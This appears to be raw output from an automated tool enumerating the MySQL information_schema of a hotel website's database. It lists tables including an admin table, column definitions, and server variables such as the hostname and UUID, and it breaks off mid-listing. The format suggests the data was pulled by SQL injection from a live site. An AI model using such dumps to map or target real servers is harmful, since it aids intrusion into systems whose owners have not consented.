select,insert,update,references | def | NULL | | NULL | utf8_unicode_ci | 5 | NULL | utf8 | NULL | 65535 | 65535 | | | text | slideshow | | NO | text | title_bold_en | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_unicode_ci | 6 | NULL | utf8 | NULL | 65535 | 65535 | | | text | slideshow | | NO | text | title_bold_cn | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_unicode_ci | 7 | NULL | utf8 | NULL | 65535 | 65535 | | | text | slideshow | | NO | text | image | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_unicode_ci | 8 | NULL | utf8 | NULL | 65535 | 65535 | | | text | slideshow | | NO | text | link | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_unicode_ci | 9 | NULL | utf8 | NULL | 65535 | 65535 | | | datetime | slideshow | | NO | datetime | insert_date | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | NULL | 10 | NULL | NULL | 0 | NULL | NULL | | | datetime | slideshow | | NO | datetime | last_update | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | NULL | 11 | NULL | NULL | 0 | NULL | NULL | | auto_increment | int | slideshow_mobile | PRI | NO | int(11) | id | cp227754_embryohotel_db | select,insert,update,references | def | 0 | | NULL | NULL | 1 | 10 | NULL | NULL | NULL | NULL | | | text | slideshow_mobile | | NO | text | title | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_unicode_ci | 2 | NULL | utf8 | NULL | 65535 | 65535 | | | text | slideshow_mobile | | NO | text | title_en | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_unicode_ci | 3 | NULL | utf8 | NULL | 65535 | 65535 | | | text | slideshow_mobile | | NO | text | title_cn | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_unicode_ci | 4 | NULL | utf8 | NULL | 65535 | 65535 | | | text | slideshow_mobile | | NO | text | subtitle | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_unicode_ci | 5 | NULL | utf8 | NULL | 65535 | 65535 | | | text | slideshow_mobile | | NO | text | subtitle_en | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_unicode_ci | 6 | NULL | utf8 | NULL | 65535 | 65535 | | | text | slideshow_mobile | | NO | text | subtitle_cn | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_unicode_ci | 7 | NULL | utf8 | NULL | 65535 | 65535 | | | text | slideshow_mobile | | NO | text | image | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_unicode_ci | 8 | NULL | utf8 | NULL | 65535 | 65535 | | | text | slideshow_mobile | | NO | text | link | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | utf8_unicode_ci | 9 | NULL | utf8 | NULL | 65535 | 65535 | | | datetime | slideshow_mobile | | NO | datetime | insert_date | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | NULL | 10 | NULL | NULL | 0 | NULL | NULL | | | datetime | slideshow_mobile | | NO | datetime | last_update | cp227754_embryohotel_db | select,insert,update,references | def | NULL | | NULL | NULL | 11 | NULL | NULL | 0 | NULL | NULL | +----------------+-----------+---------------------------------------+------------+-------------+---------------------+-----------------------------------+-------------------------+---------------------------------+---------------+---------------+----------------+---------------------+-----------------+------------------+-------------------+--------------------+--------------------+------------------------+--------------------------+ Database: information_schema Table: TABLES [70 entries] +--------+----------+-----------+-----------+------------+---------------------------------------+------------+---------------------+-------------+---------------------+---------------------+-------------+--------------+-------------------------+---------------+---------------+----------------+----------------+--------------------+-----------------+-----------------+ | ENGINE | CHECKSUM | VERSION | DATA_FREE | TABLE_ROWS | TABLE_NAME | ROW_FORMAT | CHECK_TIME | TABLE_TYPE | UPDATE_TIME | CREATE_TIME | DATA_LENGTH | INDEX_LENGTH | TABLE_SCHEMA | TABLE_CATALOG | TABLE_COMMENT | AUTO_INCREMENT | AVG_ROW_LENGTH | CREATE_OPTIONS | TABLE_COLLATION | MAX_DATA_LENGTH | +--------+----------+-----------+-----------+------------+---------------------------------------+------------+---------------------+-------------+---------------------+---------------------+-------------+--------------+-------------------------+---------------+---------------+----------------+----------------+--------------------+-----------------+-----------------+ | MEMORY | NULL | 10 | 0 | NULL | CHARACTER_SETS | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:47:21 | 0 | 0 | information_schema | def | | NULL | 384 | max_rows=43690 | utf8_general_ci | 16434816 | | MEMORY | NULL | 10 | 0 | NULL | COLLATIONS | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:47:22 | 0 | 0 | information_schema | def | | NULL | 231 | max_rows=72628 | utf8_general_ci | 16704765 | | MEMORY | NULL | 10 | 0 | NULL | COLLATION_CHARACTER_SET_APPLICABILITY | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:47:23 | 0 | 0 | information_schema | def | | NULL | 195 | max_rows=86037 | utf8_general_ci | 16357770 | | MyISAM | NULL | 10 | 0 | NULL | COLUMNS | Dynamic | NULL | SYSTEM VIEW | 2021-07-05 10:47:23 | 2021-07-05 10:47:23 | 0 | 1024 | information_schema | def | | NULL | 0 | max_rows=2794 | utf8_general_ci | 281474976710655 | | MEMORY | NULL | 10 | 0 | NULL | COLUMN_PRIVILEGES | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:47:24 | 0 | 0 | information_schema | def | | NULL | 2565 | max_rows=6540 | utf8_general_ci | 16757145 | | MEMORY | NULL | 10 | 0 | NULL | ENGINES | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:47:25 | 0 | 0 | information_schema | def | | NULL | 490 | max_rows=34239 | utf8_general_ci | 16574250 | | MyISAM | NULL | 10 | 0 | NULL | EVENTS | Dynamic | NULL | SYSTEM VIEW | 2021-07-05 10:47:25 | 2021-07-05 10:47:25 | 0 | 1024 | information_schema | def | | NULL | 0 | max_rows=619 | utf8_general_ci | 281474976710655 | | MEMORY | NULL | 10 | 0 | NULL | FILES | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:47:26 | 0 | 0 | information_schema | def | | NULL | 2659 | max_rows=6309 | utf8_general_ci | 16743723 | | MEMORY | NULL | 10 | 0 | NULL | GLOBAL_STATUS | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:47:27 | 0 | 0 | information_schema | def | | NULL | 3268 | max_rows=5133 | utf8_general_ci | 16755036 | | MEMORY | NULL | 10 | 0 | NULL | GLOBAL_VARIABLES | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:47:28 | 0 | 0 | information_schema | def | | NULL | 3268 | max_rows=5133 | utf8_general_ci | 16755036 | | MEMORY | NULL | 10 | 0 | NULL | KEY_COLUMN_USAGE | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:47:29 | 0 | 0 | information_schema | def | | NULL | 4637 | max_rows=3618 | utf8_general_ci | 16762755 | | MyISAM | NULL | 10 | 0 | NULL | OPTIMIZER_TRACE | Dynamic | NULL | SYSTEM VIEW | 2021-07-05 10:47:29 | 2021-07-05 10:47:29 | 0 | 1024 | information_schema | def | | NULL | 0 | max_rows=578524 | utf8_general_ci | 281474976710655 | | MyISAM | NULL | 10 | 0 | NULL | PARAMETERS | Dynamic | NULL | SYSTEM VIEW | 2021-07-05 10:47:30 | 2021-07-05 10:47:30 | 0 | 1024 | information_schema | def | | NULL | 0 | max_rows=6021 | utf8_general_ci | 281474976710655 | | MyISAM | NULL | 10 | 0 | NULL | PARTITIONS | Dynamic | NULL | SYSTEM VIEW | 2021-07-05 10:47:31 | 2021-07-05 10:47:31 | 0 | 1024 | information_schema | def | | NULL | 0 | max_rows=5596 | utf8_general_ci | 281474976710655 | | MyISAM | NULL | 10 | 0 | NULL | PLUGINS | Dynamic | NULL | SYSTEM VIEW | 2021-07-05 10:47:31 | 2021-07-05 10:47:31 | 0 | 1024 | information_schema | def | | NULL | 0 | max_rows=11328 | utf8_general_ci | 281474976710655 | | MyISAM | NULL | 10 | 0 | NULL | PROCESSLIST | Dynamic | NULL | SYSTEM VIEW | 2021-07-05 10:47:33 | 2021-07-05 10:47:33 | 0 | 1024 | information_schema | def | | NULL | 0 | max_rows=23899 | utf8_general_ci | 281474976710655 | | MEMORY | NULL | 10 | 0 | NULL | PROFILING | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:47:33 | 0 | 0 | information_schema | def | | NULL | 308 | max_rows=54471 | utf8_general_ci | 16562084 | | MEMORY | NULL | 10 | 0 | NULL | REFERENTIAL_CONSTRAINTS | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:47:34 | 0 | 0 | information_schema | def | | NULL | 4814 | max_rows=3485 | utf8_general_ci | 16767162 | | MyISAM | NULL | 10 | 0 | NULL | ROUTINES | Dynamic | NULL | SYSTEM VIEW | 2021-07-05 10:47:35 | 2021-07-05 10:47:35 | 0 | 1024 | information_schema | def | | NULL | 0 | max_rows=583 | utf8_general_ci | 281474976710655 | | MEMORY | NULL | 10 | 0 | NULL | SCHEMATA | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:47:36 | 0 | 0 | information_schema | def | | NULL | 3464 | max_rows=4843 | utf8_general_ci | 16738048 | | MEMORY | NULL | 10 | 0 | NULL | SCHEMA_PRIVILEGES | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:47:36 | 0 | 0 | information_schema | def | | NULL | 2179 | max_rows=7699 | utf8_general_ci | 16736899 | | MEMORY | NULL | 10 | 0 | NULL | SESSION_STATUS | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:47:37 | 0 | 0 | information_schema | def | | NULL | 3268 | max_rows=5133 | utf8_general_ci | 16755036 | | MEMORY | NULL | 10 | 0 | NULL | SESSION_VARIABLES | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:47:38 | 0 | 0 | information_schema | def | | NULL | 3268 | max_rows=5133 | utf8_general_ci | 16755036 | | MEMORY | NULL | 10 | 0 | NULL | STATISTICS | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:47:38 | 0 | 0 | information_schema | def | | NULL | 5753 | max_rows=2916 | utf8_general_ci | 16752736 | | MEMORY | NULL | 10 | 0 | NULL | TABLES | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:47:39 | 0 | 0 | information_schema | def | | NULL | 9441 | max_rows=1777 | utf8_general_ci | 16757775 | | MEMORY | NULL | 10 | 0 | NULL | TABLESPACES | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:47:40 | 0 | 0 | information_schema | def | | NULL | 6951 | max_rows=2413 | utf8_general_ci | 16772763 | | MEMORY | NULL | 10 | 0 | NULL | TABLE_CONSTRAINTS | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:47:41 | 0 | 0 | information_schema | def | | NULL | 2504 | max_rows=6700 | utf8_general_ci | 16721712 | | MEMORY | NULL | 10 | 0 | NULL | TABLE_PRIVILEGES | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:47:41 | 0 | 0 | information_schema | def | | NULL | 2372 | max_rows=7073 | utf8_general_ci | 16748692 | | MyISAM | NULL | 10 | 0 | NULL | TRIGGERS | Dynamic | NULL | SYSTEM VIEW | 2021-07-05 10:47:43 | 2021-07-05 10:47:43 | 0 | 1024 | information_schema | def | | NULL | 0 | max_rows=569 | utf8_general_ci | 281474976710655 | | MEMORY | NULL | 10 | 0 | NULL | USER_PRIVILEGES | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:47:43 | 0 | 0 | information_schema | def | | NULL | 1986 | max_rows=8447 | utf8_general_ci | 16726092 | | MyISAM | NULL | 10 | 0 | NULL | VIEWS | Dynamic | NULL | SYSTEM VIEW | 2021-07-05 10:47:44 | 2021-07-05 10:47:44 | 0 | 1024 | information_schema | def | | NULL | 0 | max_rows=6935 | utf8_general_ci | 281474976710655 | | MEMORY | NULL | 10 | 0 | NULL | INNODB_LOCKS | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:47:45 | 0 | 0 | information_schema | def | | NULL | 31244 | max_rows=536 | utf8_general_ci | 16746784 | | MEMORY | NULL | 10 | 0 | NULL | INNODB_TRX | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:47:46 | 0 | 0 | information_schema | def | | NULL | 4536 | max_rows=3698 | utf8_general_ci | 16746912 | | MEMORY | NULL | 10 | 0 | NULL | INNODB_SYS_DATAFILES | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:47:47 | 0 | 0 | information_schema | def | | NULL | 12007 | max_rows=1397 | utf8_general_ci | 16773779 | | MEMORY | NULL | 10 | 0 | NULL | INNODB_LOCK_WAITS | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:47:48 | 0 | 0 | information_schema | def | | NULL | 599 | max_rows=28008 | utf8_general_ci | 16749238 | | MEMORY | NULL | 10 | 0 | NULL | INNODB_SYS_TABLESTATS | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:47:48 | 0 | 0 | information_schema | def | | NULL | 1215 | max_rows=13808 | utf8_general_ci | 16763355 | | MEMORY | NULL | 10 | 0 | NULL | INNODB_CMP | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:47:49 | 0 | 0 | information_schema | def | | NULL | 25 | max_rows=671088 | utf8_general_ci | 13107200 | | MEMORY | NULL | 10 | 0 | NULL | INNODB_METRICS | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:47:50 | 0 | 0 | information_schema | def | | NULL | 2994 | max_rows=5603 | utf8_general_ci | 16742448 | | MEMORY | NULL | 10 | 0 | NULL | INNODB_CMP_RESET | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:47:51 | 0 | 0 | information_schema | def | | NULL | 25 | max_rows=671088 | utf8_general_ci | 13107200 | | MEMORY | NULL | 10 | 0 | NULL | INNODB_CMP_PER_INDEX | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:47:52 | 0 | 0 | information_schema | def | | NULL | 1755 | max_rows=9559 | utf8_general_ci | 16728660 | | MEMORY | NULL | 10 | 0 | NULL | INNODB_CMPMEM_RESET | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:47:52 | 0 | 0 | information_schema | def | | NULL | 29 | max_rows=578524 | utf8_general_ci | 15204352 | | MEMORY | NULL | 10 | 0 | NULL | INNODB_FT_DELETED | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:47:53 | 0 | 0 | information_schema | def | | NULL | 9 | max_rows=1864135 | utf8_general_ci | 9437184 | | MEMORY | NULL | 10 | 0 | NULL | INNODB_BUFFER_PAGE_LRU | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:47:53 | 0 | 0 | information_schema | def | | NULL | 6669 | max_rows=2515 | utf8_general_ci | 16765866 | | MEMORY | NULL | 10 | 0 | NULL | INNODB_SYS_FOREIGN | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:47:54 | 0 | 0 | information_schema | def | | NULL | 1752 | max_rows=9576 | utf8_general_ci | 16700064 | | MEMORY | NULL | 10 | 0 | NULL | INNODB_SYS_COLUMNS | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:47:55 | 0 | 0 | information_schema | def | | NULL | 610 | max_rows=27503 | utf8_general_ci | 16613350 | | MEMORY | NULL | 10 | 0 | NULL | INNODB_SYS_INDEXES | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:47:55 | 0 | 0 | information_schema | def | | NULL | 614 | max_rows=27324 | utf8_general_ci | 16722290 | | MEMORY | NULL | 10 | 0 | NULL | INNODB_FT_DEFAULT_STOPWORD | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:47:56 | 0 | 0 | information_schema | def | | NULL | 56 | max_rows=299593 | utf8_general_ci | 14680064 | | MEMORY | NULL | 10 | 0 | NULL | INNODB_SYS_FIELDS | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:47:57 | 0 | 0 | information_schema | def | | NULL | 594 | max_rows=28244 | utf8_general_ci | 16609428 | | MEMORY | NULL | 10 | 0 | NULL | INNODB_CMP_PER_INDEX_RESET | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:47:58 | 0 | 0 | information_schema | def | | NULL | 1755 | max_rows=9559 | utf8_general_ci | 16728660 | | MEMORY | NULL | 10 | 0 | NULL | INNODB_BUFFER_PAGE | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:47:59 | 0 | 0 | information_schema | def | | NULL | 6852 | max_rows=2448 | utf8_general_ci | 16766844 | | MEMORY | NULL | 10 | 0 | NULL | INNODB_CMPMEM | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:48:00 | 0 | 0 | information_schema | def | | NULL | 29 | max_rows=578524 | utf8_general_ci | 15204352 | | MEMORY | NULL | 10 | 0 | NULL | INNODB_FT_INDEX_TABLE | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:48:00 | 0 | 0 | information_schema | def | | NULL | 1054 | max_rows=15917 | utf8_general_ci | 16744898 | | MEMORY | NULL | 10 | 0 | NULL | INNODB_FT_BEING_DELETED | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:48:01 | 0 | 0 | information_schema | def | | NULL | 9 | max_rows=1864135 | utf8_general_ci | 9437184 | | MEMORY | NULL | 10 | 0 | NULL | INNODB_SYS_TABLESPACES | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:48:01 | 0 | 0 | information_schema | def | | NULL | 2082 | max_rows=8058 | utf8_general_ci | 16728870 | | MEMORY | NULL | 10 | 0 | NULL | INNODB_FT_INDEX_CACHE | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:48:02 | 0 | 0 | information_schema | def | | NULL | 1054 | max_rows=15917 | utf8_general_ci | 16744898 | | MEMORY | NULL | 10 | 0 | NULL | INNODB_SYS_FOREIGN_COLS | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:48:03 | 0 | 0 | information_schema | def | | NULL | 1748 | max_rows=9597 | utf8_general_ci | 16738848 | | MEMORY | NULL | 10 | 0 | NULL | INNODB_SYS_TABLES | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:48:04 | 0 | 0 | information_schema | def | | NULL | 2060 | max_rows=8144 | utf8_general_ci | 16743680 | | MEMORY | NULL | 10 | 0 | NULL | INNODB_BUFFER_POOL_STATS | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:48:05 | 0 | 0 | information_schema | def | | NULL | 257 | max_rows=65280 | utf8_general_ci | 16332350 | | MEMORY | NULL | 10 | 0 | NULL | INNODB_FT_CONFIG | Fixed | NULL | SYSTEM VIEW | NULL | 2021-07-05 10:48:06 | 0 | 0 | information_schema | def | | NULL | 1163 | max_rows=14425 | utf8_general_ci | 16705332 | | InnoDB | NULL | 10 | 0 | 0 | admin | Compact | NULL | BASE TABLE | NULL | 2019-03-11 01:32:36 | 16384 | 0 | cp227754_embryohotel_db | def | | 3 | 0 | | utf8_general_ci | 0 | | InnoDB | NULL | 10 | 0 | 0 | contact | Compact | NULL | BASE TABLE | NULL | 2019-03-11 01:32:36 | 16384 | 0 | cp227754_embryohotel_db | def | | 2 | 0 | | utf8_general_ci | 0 | | MyISAM | NULL | 10 | 304 | 37 | image | Dynamic | 2018-11-06 22:35:52 | BASE TABLE | 2019-01-13 22:20:28 | 2018-02-21 13:45:42 | 3532 | 2048 | cp227754_embryohotel_db | def | | 71 | 87 | | utf8_unicode_ci | 281474976710655 | | InnoDB | NULL | 10 | 0 | 14 | local_area | Compact | NULL | BASE TABLE | NULL | 2019-03-11 01:32:36 | 16384 | 0 | cp227754_embryohotel_db | def | | 24 | 1170 | | utf8_general_ci | 0 | | InnoDB | NULL | 10 | 0 | 0 | news | Compact | NULL | BASE TABLE | NULL | 2019-03-11 01:32:36 | 16384 | 0 | cp227754_embryohotel_db | def | | 1 | 0 | | utf8_general_ci | 0 | | InnoDB | NULL | 10 | 0 | 2 | room | Compact | NULL | BASE TABLE | NULL | 2019-03-11 01:32:36 | 16384 | 0 | cp227754_embryohotel_db | def | | 3 | 8192 | row_format=COMPACT | utf8_general_ci | 0 | | InnoDB | NULL | 10 | 0 | 7 | room_image | Compact | NULL | BASE TABLE | NULL | 2019-03-11 01:32:36 | 16384 | 0 | cp227754_embryohotel_db | def | | 34 | 2340 | | utf8_general_ci | 0 | | InnoDB | NULL | 10 | 0 | 13 | room_option | Compact | NULL | BASE TABLE | NULL | 2019-03-11 01:32:36 | 16384 | 0 | cp227754_embryohotel_db | def | | 28 | 1260 | | utf8_general_ci | 0 | | InnoDB | NULL | 10 | 0 | 12 | room_option_reletive | Compact | NULL | BASE TABLE | NULL | 2019-03-11 01:32:36 | 16384 | 0 | cp227754_embryohotel_db | def | | 13 | 1365 | | utf8_general_ci | 0 | | MyISAM | NULL | 10 | 104 | 3 | slideshow | Dynamic | 2018-11-06 22:35:52 | BASE TABLE | 2019-05-03 19:32:39 | 2018-02-21 13:45:42 | 292 | 2048 | cp227754_embryohotel_db | def | | 33 | 62 | | utf8_unicode_ci | 281474976710655 | | MyISAM | NULL | 10 | 0 | 1 | slideshow_mobile | Dynamic | 2018-11-06 22:35:52 | BASE TABLE | 2018-02-21 13:45:42 | 2018-02-21 13:45:42 | 48 | 2048 | cp227754_embryohotel_db | def | | 10 | 48 | | utf8_unicode_ci | 281474976710655 | +--------+----------+-----------+-----------+------------+---------------------------------------+------------+---------------------+-------------+---------------------+---------------------+-------------+--------------+-------------------------+---------------+---------------+----------------+----------------+--------------------+-----------------+-----------------+ Database: information_schema Table: INNODB_FT_DEFAULT_STOPWORD [36 entries] +---------+ | value | +---------+ | a | | about | | an | | are | | as | | at | | be | | by | | com | | de | | en | | for | | from | | how | | i | | in | | is | | it | | la | | of | | on | | or | | that | | the | | the | | this | | to | | und | | was | | what | | when | | where | | who | | will | | with | | www | +---------+ Database: information_schema Table: KEY_COLUMN_USAGE [11 entries] +----------------------+-------------+-------------------------+---------------+-----------------+------------------+-------------------------+--------------------+-----------------------+------------------------+-------------------------+-------------------------------+ | TABLE_NAME | COLUMN_NAME | TABLE_SCHEMA | TABLE_CATALOG | CONSTRAINT_NAME | ORDINAL_POSITION | CONSTRAINT_SCHEMA | CONSTRAINT_CATALOG | REFERENCED_TABLE_NAME | REFERENCED_COLUMN_NAME | REFERENCED_TABLE_SCHEMA | POSITION_IN_UNIQUE_CONSTRAINT | +----------------------+-------------+-------------------------+---------------+-----------------+------------------+-------------------------+--------------------+-----------------------+------------------------+-------------------------+-------------------------------+ | admin | id | cp227754_embryohotel_db | def | PRIMARY | 1 | cp227754_embryohotel_db | def | NULL | NULL | NULL | NULL | | contact | id | cp227754_embryohotel_db | def | PRIMARY | 1 | cp227754_embryohotel_db | def | NULL | NULL | NULL | NULL | | image | id | cp227754_embryohotel_db | def | PRIMARY | 1 | cp227754_embryohotel_db | def | NULL | NULL | NULL | NULL | | local_area | id | cp227754_embryohotel_db | def | PRIMARY | 1 | cp227754_embryohotel_db | def | NULL | NULL | NULL | NULL | | news | id | cp227754_embryohotel_db | def | PRIMARY | 1 | cp227754_embryohotel_db | def | NULL | NULL | NULL | NULL | | room | id | cp227754_embryohotel_db | def | PRIMARY | 1 | cp227754_embryohotel_db | def | NULL | NULL | NULL | NULL | | room_image | id | cp227754_embryohotel_db | def | PRIMARY | 1 | cp227754_embryohotel_db | def | NULL | NULL | NULL | NULL | | room_option | id | cp227754_embryohotel_db | def | PRIMARY | 1 | cp227754_embryohotel_db | def | NULL | NULL | NULL | NULL | | room_option_reletive | id | cp227754_embryohotel_db | def | PRIMARY | 1 | cp227754_embryohotel_db | def | NULL | NULL | NULL | NULL | | slideshow | id | cp227754_embryohotel_db | def | PRIMARY | 1 | cp227754_embryohotel_db | def | NULL | NULL | NULL | NULL | | slideshow_mobile | id | cp227754_embryohotel_db | def | PRIMARY | 1 | cp227754_embryohotel_db | def | NULL | NULL | NULL | NULL | +----------------------+-------------+-------------------------+---------------+-----------------+------------------+-------------------------+--------------------+-----------------------+------------------------+-------------------------+-------------------------------+ Database: information_schema Table: SESSION_VARIABLES [453 entries] +--------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | VARIABLE_NAME | VARIABLE_VALUE | +--------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | INNODB_PRINT_ALL_DEADLOCKS | OFF | | LICENSE | GPL | | INNODB_FT_SERVER_STOPWORD_TABLE | | | MULTI_RANGE_COUNT | 256 | | OLD | OFF | | LC_MESSAGES | en_US | | INNODB_READ_AHEAD_THRESHOLD | 56 | | PERFORMANCE_SCHEMA_EVENTS_STATEMENTS_HISTORY_SIZE | -1 | | INNODB_READ_ONLY | OFF | | SERVER_UUID | 28c00313-00b8-11e8-a237-fa163ee12f36 | | KEY_BUFFER_SIZE | 8388608 | | INNODB_LOG_GROUP_HOME_DIR | ./ | | INNODB_MONITOR_RESET_ALL | | | LONG_QUERY_TIME | 10.000000 | | INNODB_OPTIMIZE_FULLTEXT_ONLY | OFF | | PERFORMANCE_SCHEMA_MAX_THREAD_INSTANCES | -1 | | INNODB_STATS_METHOD | nulls_equal | | SKIP_NAME_RESOLVE | OFF | | INNODB_FAST_SHUTDOWN | 1 | | PID_FILE | /var/lib/mysql/cpanel10wh.bkk1.cloud.z.com.pid | | SSL_CA | | | READ_BUFFER_SIZE | 131072 | | INNODB_THREAD_CONCURRENCY | 0 | | MIN_EXAMINED_ROW_LIMIT | 0 | | SLAVE_NET_TIMEOUT | 3600 | | SERVER_ID_BITS | 32 | | INNODB_STATS_SAMPLE_PAGES | 8 | | LOG_SLOW_SLAVE_STATEMENTS | OFF | | SLAVE_ALLOW_BATCHING | OFF | | MAX_USER_CONNECTIONS | 20 | | INNODB_BUFFER_POOL_LOAD_NOW | OFF | | IGNORE_BUILTIN_INNODB | OFF | | INNODB_ADAPTIVE_FLUSHING_LWM | 10 | | REPORT_PORT | 3306 | | BINLOG_CHECKSUM | CRC32 | | MAX_CONNECT_ERRORS | 100 | | INNODB_PAGE_SIZE | 16384 | | QUERY_CACHE_WLOCK_INVALIDATE | OFF | | PERFORMANCE_SCHEMA_MAX_FILE_HANDLES | 32768 | | MAX_SP_RECURSION_DEPTH | 0 | | INNODB_SYNC_ARRAY_SIZE | 1 | | TIMED_MUTEXES | OFF | | INNODB_API_TRX_LEVEL | 0 | | EXTERNAL_USER | | | DATETIME_FORMAT | %Y-%m-%d %H:%i:%s | | FLUSH_TIME | 0 | | INNODB_FLUSH_LOG_AT_TRX_COMMIT | 1 | | TRANSACTION_ALLOW_BATCHING | OFF | | TX_READ_ONLY | OFF | | SKIP_NETWORKING | OFF | | INNODB_RANDOM_READ_AHEAD | OFF | | TABLE_OPEN_CACHE_INSTANCES | 1 | | INNODB_UNDO_LOGS | 128 | | INIT_CONNECT | | | PORT | 3306 | | RELAY_LOG_SPACE_LIMIT | 0 | | QUERY_ALLOC_BLOCK_SIZE | 8192 | | AUTOCOMMIT | ON | | LOG_BIN_TRUST_FUNCTION_CREATORS | OFF | | OLD_ALTER_TABLE | OFF | | INNODB_MONITOR_DISABLE | | | MYISAM_USE_MMAP | OFF | | HAVE_OPENSSL | DISABLED | | METADATA_LOCKS_CACHE_SIZE | 1024 | | MAX_BINLOG_STMT_CACHE_SIZE | 18446744073709547520 | | LAST_INSERT_ID | 0 | | PERFORMANCE_SCHEMA_MAX_FILE_INSTANCES | -1 | | HOSTNAME | cpanel10wh.bkk1.cloud.z.com | | INNODB_SPIN_WAIT_DELAY | 6 | | RELAY_LOG_INFO_FILE | relay-log.info | | INNODB_FILE_FORMAT_MAX | Antelope | | OPTIMIZER_TRACE_OFFSET | -1 | | DEFAULT_STORAGE_ENGINE | MyISAM | | SQL_SAFE_UPDATES | OFF | | INNODB_LOCK_WAIT_TIMEOUT | 50 | | UNIQUE_CHECKS | ON | | INNODB_OLD_BLOCKS_TIME | 1000 | | MAX_SEEKS_FOR_KEY | 18446744073709551615 | | INSERT_ID | 0 | | BINLOG_CACHE_SIZE | 32768 | | BINLOG_ROW_IMAGE | FULL | | INNODB_FLUSH_NEIGHBORS | 1 | | INNODB_COMPRESSION_FAILURE_THRESHOLD_PCT | 5 | | PERFORMANCE_SCHEMA_HOSTS_SIZE | -1 | | LOCKED_IN_MEMORY | OFF | | SECURE_FILE_PRIV | | | BINLOG_ORDER_COMMITS | ON | | OPTIMIZER_TRACE | enabled=off,one_line=off | | SLAVE_EXEC_MODE | STRICT | | SSL_KEY | | | HAVE_PROFILING | YES | | DATE_FORMAT | %Y-%m-%d | | AUTO_INCREMENT_INCREMENT | 1 | | SLAVE_SKIP_ERRORS | OFF | | PRELOAD_BUFFER_SIZE | 32768 | | SLAVE_PARALLEL_WORKERS | 0 | | LOCAL_INFILE | ON | | RELAY_LOG_PURGE | ON | | REPORT_USER | | | COLLATION_DATABASE | latin1_swedish_ci | | HAVE_GEOMETRY | YES | | INNODB_MONITOR_ENABLE | | | SLOW_QUERY_LOG | OFF | | INNODB_LOG_BUFFER_SIZE | 8388608 | | PERFORMANCE_SCHEMA_SETUP_OBJECTS_SIZE | 100 | | HOST_CACHE_SIZE | 628 | | INNODB_MAX_PURGE_LAG | 0 | | OPTIMIZER_TRACE_LIMIT | 1 | | MYISAM_MAX_SORT_FILE_SIZE | 9223372036853727232 | | EXPIRE_LOGS_DAYS | 0 | | 